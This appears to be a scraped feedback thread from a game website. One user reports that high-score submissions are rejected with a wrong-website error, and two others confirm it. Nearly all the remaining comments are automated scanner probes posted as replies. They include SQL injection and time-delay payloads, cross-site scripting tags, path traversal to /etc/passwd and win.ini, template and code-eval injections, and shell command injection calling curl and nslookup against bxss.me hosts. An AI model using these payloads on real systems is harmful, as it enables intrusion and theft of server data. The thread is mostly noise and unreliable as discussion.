Feedback

Mistaken Website Bug by CrazyDeathling - 160 months ago

I get this bug all the time. I get a high score, when i go to submit it says that i played on a different website but with the same socre.
PLEASE FIX I have at least 10 denied recordes

• BeyPokéDig

  This happens to me too, sometimes it also gets paired with a different error, something along the lines of "time played must be a valid number". Opening the page in newly opened tab usually helps (yesterday it happened like 4 times in a row though).

• DevilishDB

  Not always but sometimes for me too.

• yhntylxwoe

  USA

• lxbfYeaa

  1

• lxbfYeaa

  1

• JJJ3QQQ

  JJJ30QQQ

• WfxYANoW

  1

• WfxYANoW

  1BRyVcoCztO

• 1KCCMHceNO

  1

• WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoW

  1cbrb2N5H

• WfxYANoW

  1<esi:include src="http://bxss.me/rpb.png"/>

• WfxYANoW

  1

• Anonymous

  1

• WfxYANoW

  ${9999932+9999940}

• ${9999502+9999616}

  1

• WfxYANoW

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• WfxYANoW

  ../../../../../../../../../../../../../../etc/passwd

• WfxYANoW

  ../../../../../../../../../../../../../../windows/win.ini

• WfxYANoW

  -1 OR 2+429-429-1=0+0+0+1 --

• WfxYANoW

  file:///etc/passwd

• WfxYANoW

  echo cvbwkj$()\ tjommr\nz^xyu||a #' &echo cvbwkj$()\ tjommr\nz^xyu||a #|" &echo cvbwkj$()\ tjommr\nz^xyu||a #

• WfxYANoW

  1

• WfxYANoW

  &echo bietby$()\ bjqriz\nz^xyu||a #' &echo bietby$()\ bjqriz\nz^xyu||a #|" &echo bietby$()\ bjqriz\nz^xyu||a #

• WfxYANoW

  -1 OR 2+143-143-1=0+0+0+1

• WfxYANoW

  1&echo mncyas$()\ wvdtnh\nz^xyu||a #' &echo mncyas$()\ wvdtnh\nz^xyu||a #|" &echo mncyas$()\ wvdtnh\nz^xyu||a #

• WfxYANoW

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• WfxYANoW

  -1' OR 2+712-712-1=0+0+0+1 --

• WfxYANoW

  ogJkKf8D

• WfxYANoW

  ../1

• WfxYANoW

  |echo aliohn$()\ oviovl\nz^xyu||a #' |echo aliohn$()\ oviovl\nz^xyu||a #|" |echo aliohn$()\ oviovl\nz^xyu||a #

• WfxYANoW

  f3DaMg5v: YOX8jlrZ

• WfxYANoW

  Http://bxss.me/t/fit.txt

• SM2iX06z

  1

• WfxYANoW

  http://bxss.me/t/fit.txt?.jpg

• WfxYANoW

  response.write(9505335*9140429)

• WfxYANoW

  -1' OR 2+687-687-1=0+0+0+1 or 'yyuvHaaS'='

• file:///etc/passwd

  1

• WfxYANoW

  1|echo ciclmk$()\ eblanx\nz^xyu||a #' |echo ciclmk$()\ eblanx\nz^xyu||a #|" |echo ciclmk$()\ eblanx\nz^xyu||a #

• WfxYANoW

  '+response.write(9505335*9140429)+'

• WfxYANoW

  /etc/shells

• WfxYANoW

  -1" OR 2+818-818-1=0+0+0+1 --

• WfxYANoW

  ../../../../../../../../../../../../../../etc/shells

• uZwuyKrz: WF0quB8X

  1

• WfxYANoW

  "+response.write(9505335*9140429)+"

• WfxYANoW

  (nslookup -q=cname hitzrmhnzqbrn8cd8b.bxss.me||curl hitzrmhnzqbrn8cd8b.bxss.me))

• WfxYANoW

  1&n953736=v907004

• response.write(9172831*9425739)

  1

• '+response.write(9172831*9425739)+'

  1

• WfxYANoW

  c:/windows/win.ini

• "+response.write(9172831*9425739)+"

  1

• WfxYANoW

  bxss.me

• TEpIaVdtNGs=

  1

• WfxYANoW

  )

• WfxYANoW

  1

• WfxYANoW

  $(nslookup -q=cname hitvoxssmcpul662d3.bxss.me||curl hitvoxssmcpul662d3.bxss.me)

• WfxYANoW

  !(()&&!|*|*|

• WfxYANoW

  &nslookup -q=cname hitcqmbthieqhaf015.bxss.me&'\"`0&nslookup -q=cname hitcqmbthieqhaf015.bxss.me&`'

• WfxYANoW&n929710=v910607

  1

• WfxYANoW

  ^(#$!@#$)(()))******

• WfxYANoW

  &(nslookup -q=cname hitchskfuxgeff483f.bxss.me||curl hitchskfuxgeff483f.bxss.me)&'\"`0&(nslookup -q=cname hitchskfuxgeff483f.bxss.me||curl hitchskfuxgeff483f.bxss.me)&`'

• ../WfxYANoW

  1

• )

  1

• !(()&&!|*|*|

  1

• WfxYANoW

  |(nslookup -q=cname hitlpionwvvaaec8e0.bxss.me||curl hitlpionwvvaaec8e0.bxss.me)

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• WfxYANoW

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• ^(#$!@#$)(()))******

  1

• WfxYANoW

  '.gethostbyname(lc('hittv'.'jeqzkrjdead89.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(87).chr(105).chr(81).'

• WfxYANoW

  ';print(md5(31337));$a='

• Http://bxss.me/t/fit.txt

  1

• WfxYANoW

  1

• WfxYANoW

  `(nslookup -q=cname hitvimndddivm44759.bxss.me||curl hitvimndddivm44759.bxss.me)`

• WfxYANoW

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• WfxYANoW

  '"()

• WfxYANoW

  ;(nslookup -q=cname hitqwhnbtpxvbf89fd.bxss.me||curl hitqwhnbtpxvbf89fd.bxss.me)|(nslookup -q=cname hitqwhnbtpxvbf89fd.bxss.me||curl hitqwhnbtpxvbf89fd.bxss.me)&(nslookup -q=cname hitqwhnbtpxvbf89fd.bxss.me||curl hitqwhnbtpxvbf89fd.bxss.me)

• WfxYANoW

  ";print(md5(31337));$a="

• WfxYANoW

  |(nslookup${IFS}-q${IFS}cname${IFS}hitgmujvxemfsea2e8.bxss.me||curl${IFS}hitgmujvxemfsea2e8.bxss.me)

• WfxYANoW

  xfs.bxss.me

• WfxYANoW

  ${@print(md5(31337))}

• WfxYANoW

  &(nslookup${IFS}-q${IFS}cname${IFS}hitilefwqjqordad45.bxss.me||curl${IFS}hitilefwqjqordad45.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitilefwqjqordad45.bxss.me||curl${IFS}hitilefwqjqordad45.bxss.me)&`'

• http://bxss.me/t/fit.txt?.jpg

  1

• WfxYANoW

  ".gethostbyname(lc("hitws"."ywbqoayuc5303.bxss.me."))."A".chr(67).chr(hex("58")).chr(107).chr(87).chr(102).chr(78)."

• WfxYANoW

  1'&&sleep(27*1000)*ndrytl&&'

• /etc/shells

  1

• WfxYANoW

  ${@print(md5(31337))}\

• xfs.bxss.me

  1

• WfxYANoW

  '.print(md5(31337)).'

• WfxYANoW

  '"

• WfxYANoW

  1"&&sleep(27*1000)*lztqxy&&"

• WfxYANoW

  gethostbyname(lc('hitio'.'iaiiayjpb00aa.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(73).chr(101).chr(65)

• WfxYANoW

  <!--

• WfxYANoW

  1'||sleep(27*1000)*dqgskk||'

• ';print(md5(31337));$a='

  1

• WfxYANoW

  1"||sleep(27*1000)*ugdjqc||"

• ";print(md5(31337));$a="

  1

• c:/windows/win.ini

  1

• ${@print(md5(31337))}

  1

• ${@print(md5(31337))}\

  1

• '"

  1

• WfxYANoW

  1

• '"()

  1

• WfxYANoW

  1'"()&%<zzz><ScRiPt >bsdl(9367)</ScRiPt>

• WfxYANoW

  '"()&%<zzz><ScRiPt >bsdl(9809)</ScRiPt>

• <!--

  1

• '.print(md5(31337)).'

  1

• WfxYANoW'&&sleep(27*1000)*auzusn&&'

  1

• bxss.me

  1

• WfxYANoW

  HttP://bxss.me/t/xss.html?%00

• WfxYANoW

  "+"A".concat(70-3).concat(22*4).concat(107).concat(69).concat(108).concat(80)+(require"socket" Socket.gethostbyname("hitcu"+"axzdhkpua49d7.bxss.me.")[3].to_s)+"

• WfxYANoW

  19529540

• WfxYANoW

  comment

• WfxYANoW"&&sleep(27*1000)*ottont&&"

  1

• WfxYANoW

  comment

• WfxYANoW

  bxss.me/t/xss.html?%00

• WfxYANoW

  '+'A'.concat(70-3).concat(22*4).concat(116).concat(70).concat(103).concat(72)+(require'socket' Socket.gethostbyname('hitqa'+'gdckgdtz9f2ee.bxss.me.')[3].to_s)+'

• WfxYANoW

  bfg8418＜s1﹥s2ʺs3ʹhjl8418

• WfxYANoW'||sleep(27*1000)*hnhton||'

  1

• WfxYANoW

  comment/.

• HttP://bxss.me/t/xss.html?%00

  1

• comment

  1

• bxss.me/t/xss.html?%00

  1

• WfxYANoW"||sleep(27*1000)*kznmrg||"

  1

• WfxYANoW

  <%={{={@{#{${dfb}}%>

• WfxYANoW

  'A'.concat(70-3).concat(22*4).concat(107).concat(71).concat(108).concat(83)+(require'socket' Socket.gethostbyname('hitbn'+'ohpulipp95ab2.bxss.me.')[3].to_s)

• WfxYANoW

  1*if(now()=sysdate(),sleep(15),0)

• comment

  1

• comment/.

  1

• WfxYANoW

  <th:t="${dfb}#foreach

• WfxYANoW

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• WfxYANoW

  dfb{{98991*97996}}xca

• WfxYANoW

  dfb[[${98991*97996}]]xca

• WfxYANoW

  dfb__${98991*97996}__::.x

• WfxYANoW

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• WfxYANoW

  1<ScRiPt >bsdl(9795)</ScRiPt>

• WfxYANoW

  1<W0PGWH>55TLE[!+!]</W0PGWH>

• WfxYANoW

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• WfxYANoW

  1<script>bsdl(9341)</script>

• WfxYANoW

  1<script>bsdl(9988)</script>9988

• WfxYANoW

  1<ScR<ScRiPt>IpT>bsdl(9425)</sCr<ScRiPt>IpT>

• WfxYANoW

  1<ScRiPt >bsdl(9659)</ScRiPt>

• WfxYANoW

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9433></ScRiPt>

• WfxYANoW

  1<ScRiPt >bsdl(9447)</ScRiPt>

• WfxYANoW

  1<isindex type=image src=1 onerror=bsdl(9783)>

• WfxYANoW

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9982'>

• WfxYANoW

  1<body onload=bsdl(9529)>

• WfxYANoW

  1<img src=//xss.bxss.me/t/dot.gif onload=bsdl(9852)>

• WfxYANoW

  1<img src=xyz OnErRor=bsdl(9761)>

• WfxYANoW

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• WfxYANoW

  1<img/src=">" onerror=alert(9017)>

• WfxYANoW

  %31%3C%53%63%52%69%50%74%20%3E%62%73%64%6C%289888%29%3C%2F%73%43%72%69%70%54%3E

• WfxYANoW

  1\u003CScRiPt\bsdl(9559)\u003C/sCripT\u003E

• WfxYANoW

  1&lt;ScRiPt&gt;bsdl(9653)&lt;/sCripT&gt;

• WfxYANoW

  1<input autofocus onfocus=bsdl(9224)>

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW

  <a HrEF=jaVaScRiPT:>

• WfxYANoW

  1}body{zzz:Expre/**/SSion(bsdl(9139))}

• WfxYANoW

  13CG5g <ScRiPt >bsdl(9380)</ScRiPt>

• WfxYANoW

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• WfxYANoW

  1<WIGRQZ>CANZ3[!+!]</WIGRQZ>

• WfxYANoW

  1<ifRAme sRc=9892.com></IfRamE>

• WfxYANoW

  1<aJa97Fj x=9169>

• WfxYANoW

  1<img sRc='http://attacker-9442/log.php?

• WfxYANoW

  1<abmKy4v<

• WfxYANoW'"()&%<zzz><ScRiPt >bsdl(9622)</ScRiPt>

  1

• '"()&%<zzz><ScRiPt >bsdl(9356)</ScRiPt>

  1

• WfxYANoW9879102

  1

• bfg2672＜s1﹥s2ʺs3ʹhjl2672

  1

• WfxYANoW

  1-1; waitfor delay '0:0:15' --

• <%={{={@{#{${dfb}}%>

  1

• <th:t="${dfb}#foreach

  1

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• dfb{{98991*97996}}xca

  1

• dfb[[${98991*97996}]]xca

  1

• dfb__${98991*97996}__::.x

  1

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• WfxYANoW<ScRiPt >bsdl(9381)</ScRiPt>

  1

• WfxYANoW<WPMMIQ>TEWJG[!+!]</WPMMIQ>

  1

• WfxYANoW

  1-1); waitfor delay '0:0:15' --

• WfxYANoW<script>bsdl(9238)</script>

  1

• WfxYANoW<script>bsdl(9284)</script>9284

  1

• WfxYANoW<ScRiPt >bsdl(9338)</ScRiPt>

  1

• WfxYANoW<ScRiPt >bsdl(9581)</ScRiPt>

  1

• WfxYANoW<body onload=bsdl(9227)>

  1

• WfxYANoW

  1-1 waitfor delay '0:0:15' --

• WfxYANoW<img src=xyz OnErRor=bsdl(9161)>

  1

• WfxYANoW<img/src=">" onerror=alert(9060)>

  1

• WfxYANoW\u003CScRiPt\bsdl(9556)\u003C/sCripT\u003E

  1

• WfxYANoW&lt;ScRiPt&gt;bsdl(9636)&lt;/sCripT&gt;

  1

• WfxYANoW<input autofocus onfocus=bsdl(9640)>

  1

• <a HrEF=http://xss.bxss.me></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• WfxYANoW}body{zzz:Expre/**/SSion(bsdl(9117))}

  1

• WfxYANoWYi56c <ScRiPt >bsdl(9283)</ScRiPt>

  1

• WfxYANoW<WIBTNU>TU6AO[!+!]</WIBTNU>

  1

• WfxYANoW<ifRAme sRc=9239.com></IfRamE>

  1

• WfxYANoW<aB8YP5r x=9144>

  1

• WfxYANoW<img sRc='http://attacker-9396/log.php?

  1

• WfxYANoW

  1La4DdrC4'; waitfor delay '0:0:15' --

• WfxYANoW<axe0RhZ<

  1

• WfxYANoW

  1-1 OR 562=(SELECT 562 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1) OR 968=(SELECT 968 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1)) OR 237=(SELECT 237 FROM PG_SLEEP(15))--

• WfxYANoW

  1Nz30OStk' OR 396=(SELECT 396 FROM PG_SLEEP(15))--

• WfxYANoW

  1xFHdFE8V') OR 992=(SELECT 992 FROM PG_SLEEP(15))--

• WfxYANoW

  1TD6LLwre')) OR 447=(SELECT 447 FROM PG_SLEEP(15))--

• WfxYANoW

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• WfxYANoW

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• WfxYANoW

  1'"

• WfxYANoW

  @@wg1nm

• WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoWsJDspe8e

  1

• WfxYANoW

  1

• -1 OR 2+327-327-1=0+0+0+1 --

  1

• -1 OR 2+337-337-1=0+0+0+1

  1

• -1' OR 2+49-49-1=0+0+0+1 --

  1

• -1' OR 2+541-541-1=0+0+0+1 or 'aMZKpdCd'='

  1

• -1" OR 2+342-342-1=0+0+0+1 --

  1

• WfxYANoW'"

  1

• @@Taq7U

  1

• Peter Winter

  555-555-0199@example.com

• Pecedec150

  555-555-0199@example.com

• ebnwwanw

  1

• bsdmdcti

  response.write(9575738*9318536)

• oqitqsqu

  1

• bsdmdcti

  '+response.write(9575738*9318536)+'

• jgbhwwdg

  set|set&set

• oqitqsqu

  1

• bsdmdcti

  "+response.write(9575738*9318536)+"

• ljhfboko

  xZueJWWt

• jgbhwwdg

  $(nslookup 8YJiJAqG)

• oqitqsqu

  VFpTBWe5

• gtaumtcw

  ../../../../../../../../../../etc/passwd

• response.write(9346625*9996860)

  1

• 7I2Vx2mJ

  1

• jgbhwwdg

  &nslookup VUcXCa8g&'\"`0&nslookup VUcXCa8g&`'

• bpmyxsks

  1

• oqitqsqu

  -1 OR 2+235-235-1=0+0+0+1 --

• gtaumtcw

  ../../../../../../../../../../../../../../../proc/version

• '+response.write(9346625*9996860)+'

  1

• lyindilm

  ${9999658+10000458}

• set|set&set

  1

• oqitqsqu

  -1 OR 2+868-868-1=0+0+0+1

• gtaumtcw

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• "+response.write(9346625*9996860)+"

  1

• ${10000472+9999651}

  1

• $(nslookup OHS3teMx)

  1

• oqitqsqu

  -1' OR 2+579-579-1=0+0+0+1 --

• busgvpna

  http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

• gtaumtcw

  ../../../../../../../../../../etc/passwd.jpg

• V3h6VE15Q2o=

  1

• drkumkxo

  1&n948190=v991492

• &nslookup I96YjZOe&'\"`0&nslookup I96YjZOe&`'

  1

• oqitqsqu

  -1' OR 2+22-22-1=0+0+0+1 or 'b6HJ5xNP'='

• busgvpna

  1some_inexistent_file_with_long_name.jpg

• gtaumtcw

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• mcncxoiy

  )

• oqitqsqu

  -1" OR 2+52-52-1=0+0+0+1 --

• bpmyxsks

  1

• busgvpna

  Http://testasp.vulnweb.com/t/fit.txt

• demgqfbb

  ;print(md5(acunetix_wvs_security_test));

• gtaumtcw

  /../..//../..//../..//../..//../..//etc/passwd.jpg

• mcncxoiy

  !(()&&!|*|*|

• vhihhktu&n909326=v927902

  1

• ewwhlkaj

  '"()

• oqitqsqu

  if(now()=sysdate(),sleep(3),0)/*'XOR(if(now()=sysdate(),sleep(3),0))OR'"XOR(if(now()=sysdate(),sleep(3),0))OR"*/

• Anonymous

  1

• busgvpna

  http://testasp.vulnweb.com/t/fit.txt?.jpg

• demgqfbb

  ';print(md5(acunetix_wvs_security_test));$a='

• gtaumtcw

  .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

• mcncxoiy

  ^(#$!@#$)(()))******

• oqitqsqu

  if(now()=sysdate(),sleep(7),0)/*'XOR(if(now()=sysdate(),sleep(7),0))OR'"XOR(if(now()=sysdate(),sleep(7),0))OR"*/

• busgvpna

  testasp.vulnweb.com

• demgqfbb

  ";print(md5(acunetix_wvs_security_test));$a="

• gtaumtcw

  /etc/passwd

• )

  1

• '"()

  1

• brqnvjrw

  http://testasp.vulnweb.com/t/xss.html?%00.jpg

• oqitqsqu

  if(now()=sysdate(),sleep(10),0)/*'XOR(if(now()=sysdate(),sleep(10),0))OR'"XOR(if(now()=sysdate(),sleep(10),0))OR"*/

• demgqfbb

  ${@print(md5(acunetix_wvs_security_test))}

• gtaumtcw

  %2fetc%2fpasswd

• !(()&&!|*|*|

  1

• rltwthon

  1

• http://testasp.vulnweb.com/t/xss.html?%00.jpg

  1

• oqitqsqu

  (select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+'"+(select(0)from(select(sleep(3)))v)+"*/

• bwprowjc

  http://hitBARhP6JO5N.bxss.me/

• 1some_inexistent_file_with_long_name.jpg

  1

• demgqfbb

  ${@print(md5(acunetix_wvs_security_test))}\

• gtaumtcw

  /.././.././.././.././.././.././.././../etc/./passwd%00

• ^(#$!@#$)(()))******

  1

• rltwthon

  comment

• rekyvrrf

  1

• oqitqsqu

  (select(0)from(select(sleep(10)))v)/*'+(select(0)from(select(sleep(10)))v)+'"+(select(0)from(select(sleep(10)))v)+"*/

• Http://testasp.vulnweb.com/t/fit.txt

  1

• http://hitlqT2vAq8Sl.bxss.me/

  1

• ;print(md5(acunetix_wvs_security_test));

  1

• gtaumtcw

  ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

• wniinklj

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• rltwthon

  comment

• rekyvrrf

  1'"

• oqitqsqu

  -1; waitfor delay '0:0:3' --

• http://testasp.vulnweb.com/t/fit.txt?.jpg

  1

• tvpvlsec

  /www.vulnweb.com

• ';print(md5(acunetix_wvs_security_test));$a='

  1

• gtaumtcw

  ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

• rltwthon

  comment/.

• rekyvrrf

  \

• oqitqsqu

  -1; waitfor delay '0:0:10' --

• testasp.vulnweb.com

  1

• /www.vulnweb.com

  1

• ";print(md5(acunetix_wvs_security_test));$a="

  1

• lkbvvwmn

  '"

• rltwthon

  1

• oqitqsqu

  -1); waitfor delay '0:0:7' --

• jvjmliha

  1'"()&%<acx><ScRiPt >WYFB(9466)</ScRiPt>

• ${@print(md5(acunetix_wvs_security_test))}

  1

• gtaumtcw

  invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

• lkbvvwmn

  <!--

• comment

  1

• rekyvrrf

  @@vk1Tk

• oqitqsqu

  1 waitfor delay '0:0:7' --

• ${@print(md5(acunetix_wvs_security_test))}\

  1

• gtaumtcw

  file:///etc/passwd

• '"

  1

• comment

  1

• rekyvrrf

  JyI=

• oqitqsqu

  vuOt180h'; waitfor delay '0:0:7' --

• jvjmliha

  '"()&%<acx><ScRiPt >WYFB(9308)</ScRiPt>

• gtaumtcw

  /\../\../\../\../\../\../\../etc/passwd

• <!--

  1

• comment/.

  1

• oqitqsqu

  -1;select pg_sleep(7); --

• gtaumtcw

  WEB-INF/web.xml

• oqitqsqu

  -1);select pg_sleep(7); --

• jvjmliha

  1_9923

• gtaumtcw

  /WEB-INF/web.xml

• rekyvrrf

  (select convert(int,CHAR(65)))

• oqitqsqu

  -1));select pg_sleep(7); --

• gtaumtcw

  WEB-INF\web.xml

• rekyvrrf

  1

• oqitqsqu

  LZ1uOayE';select pg_sleep(10); --

• jvjmliha

  acu5519＜s1﹥s2ʺs3ʹuca5519

• ../../../../../../../../../../etc/passwd

  1

• 1'"

  1

• oqitqsqu

  mHGN5dUZ');select pg_sleep(10); --

• \

  1

• oqitqsqu

  ovTLl9BV'));select pg_sleep(10); --

• oqitqsqu

  1

• ../../../../../../../../../../etc/passwd.jpg

  1

• @@BLLeZ

  1

• oqitqsqu

  1

• jvjmliha

  {{9999815*9999445}}

• JyI=

  1

• s9a9YxnW

  1

• -1 OR 2+81-81-1=0+0+0+1 --

  1

• jvjmliha

  1<ScRiPt >WYFB(9226)</ScRiPt>

• .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  1

• -1 OR 2+765-765-1=0+0+0+1

  1

• /etc/passwd

  1

• (select convert(int,CHAR(65)))

  1

• -1' OR 2+689-689-1=0+0+0+1 --

  1

• jvjmliha

  1<W1522W>RKQ4A[!+!]</W1522W>

• %2fetc%2fpasswd

  1

• -1' OR 2+19-19-1=0+0+0+1 or 'DjmZUHWo'='

  1

• -1" OR 2+296-296-1=0+0+0+1 --

  1

• jvjmliha

  1<script>WYFB(9026)</script>

• jvjmliha

  1<ScR<ScRiPt>IpT>WYFB(9793)</sCr<ScRiPt>IpT>

• 1 waitfor delay '0:0:12' --

  1

• LIyyrAw6'; waitfor delay '0:0:12' --

  1

• jvjmliha

  1<ScRiPt >WYFB(9004)</ScRiPt>

• file:///etc/passwd

  1

• WukE7Qzo';select pg_sleep(18); --

  1

• /\../\../\../\../\../\../\../etc/passwd

  1

• zcAcjKOv');select pg_sleep(18); --

  1

• jvjmliha

  1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9743></ScRiPt>

• WEB-INF/web.xml

  1

• sPQHINqm'));select pg_sleep(18); --

  1

• /WEB-INF/web.xml

  1

• jvjmliha

  1<ScRiPt >WYFB(9213)</ScRiPt>

• WEB-INF\web.xml

  1

• jvjmliha

  1<video><source onerror="javascript:WYFB(9840)">

• jvjmliha

  1<isindex type=image src=1 onerror=WYFB(9365)>

• jvjmliha

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9187'>

• jvjmliha

  1<body onload=WYFB(9619)>

• jvjmliha

  1<img src=//testasp.vulnweb.com/t/dot.gif onload=WYFB(9528)>

• jvjmliha

  1<img src=xyz OnErRor=WYFB(9181)>

• jvjmliha

  1<img/src=">" onerror=alert(9561)>

• jvjmliha

  %31%3C%53%63%52%69%50%74%20%3E%57%59%46%42%289587%29%3C%2F%73%43%72%69%70%54%3E

• jvjmliha

  1\u003CScRiPt\WYFB(9956)\u003C/sCripT\u003E

• jvjmliha

  1&lt;ScRiPt&gt;WYFB(9537)&lt;/sCripT&gt;

• jvjmliha

  1<input autofocus onfocus=WYFB(9968)>

• jvjmliha

  <a HrEF=http://www.vulnweb.com></a>

• jvjmliha

  <a HrEF=jaVaScRiPT:>

• jvjmliha

  [url=http://www.vulnweb.com][/url]

• jvjmliha

  1<img<!-- --> src=x onerror=alert(9816);//><!-- -->

• jvjmliha

  1}body{acu:Expre/**/SSion(WYFB(9982))}

• jvjmliha

  1<% contenteditable onresize=WYFB(9099)>

• jvjmliha

  1_5NiMD <ScRiPt >WYFB(9737)</ScRiPt>

• jvjmliha

  1<W9UJQC>6NWR4[!+!]</W9UJQC>

• jvjmliha

  1<ifRAme sRc=9833.com></IfRamE>

• jvjmliha

  1<ML1aGd x=9405>

• jvjmliha

  1<img sRc='http://attacker-9293/log.php?

• jvjmliha'"()&%<acx><ScRiPt >WYFB(9628)</ScRiPt>

  1

• '"()&%<acx><ScRiPt >WYFB(9176)</ScRiPt>

  1

• jvjmliha_9898

  1

• acu5340＜s1﹥s2ʺs3ʹuca5340

  1

• {{10000223*9999792}}

  1

• jvjmliha<ScRiPt >WYFB(9939)</ScRiPt>

  1

• jvjmliha<W9R3SU>PPAR2[!+!]</W9R3SU>

  1

• jvjmliha<script>WYFB(9338)</script>

  1

• jvjmliha<ScRiPt >WYFB(9690)</ScRiPt>

  1

• jvjmliha<ScRiPt >WYFB(9513)</ScRiPt>

  1

• jvjmliha<body onload=WYFB(9935)>

  1

• jvjmliha<img src=xyz OnErRor=WYFB(9045)>

  1

• jvjmliha<img/src=">" onerror=alert(9143)>

  1

• jvjmliha\u003CScRiPt\WYFB(9506)\u003C/sCripT\u003E

  1

• jvjmliha&lt;ScRiPt&gt;WYFB(9820)&lt;/sCripT&gt;

  1

• jvjmliha<input autofocus onfocus=WYFB(9584)>

  1

• <a HrEF=http://www.vulnweb.com></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• [url=http://www.vulnweb.com][/url]

  1

• jvjmliha}body{acu:Expre/**/SSion(WYFB(9818))}

  1

• jvjmliha<% contenteditable onresize=WYFB(9000)>

  1

• jvjmliha_AlBrr <ScRiPt >WYFB(9103)</ScRiPt>

  1

• jvjmliha<WQHW83>FFLZT[!+!]</WQHW83>

  1

• jvjmliha<ifRAme sRc=9699.com></IfRamE>

  1

• jvjmliha<lkqXRy x=9154>

  1

• jvjmliha<img sRc='http://attacker-9250/log.php?

  1

• dwUQQUrL

  1

• dwUQQUrL

  1

• dwUQQUrL

  1

• dwUQQUrL

  1SX4LVil3

• dwUQQUrL

  1

• dwUQQUrL

  -1 OR 2+181-181-1=0+0+0+1 --

• dwUQQUrL

  -1 OR 2+572-572-1=0+0+0+1

• dwUQQUrL

  -1' OR 2+11-11-1=0+0+0+1 --

• dwUQQUrL

  -1' OR 2+301-301-1=0+0+0+1 or 'Pzf33e17'='

• dwUQQUrL

  -1" OR 2+135-135-1=0+0+0+1 --

• dwUQQUrL

  1*if(now()=sysdate(),sleep(15),0)

• dwUQQUrL

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• dwUQQUrL

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• dwUQQUrL

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• dwUQQUrL

  1-1; waitfor delay '0:0:15' --

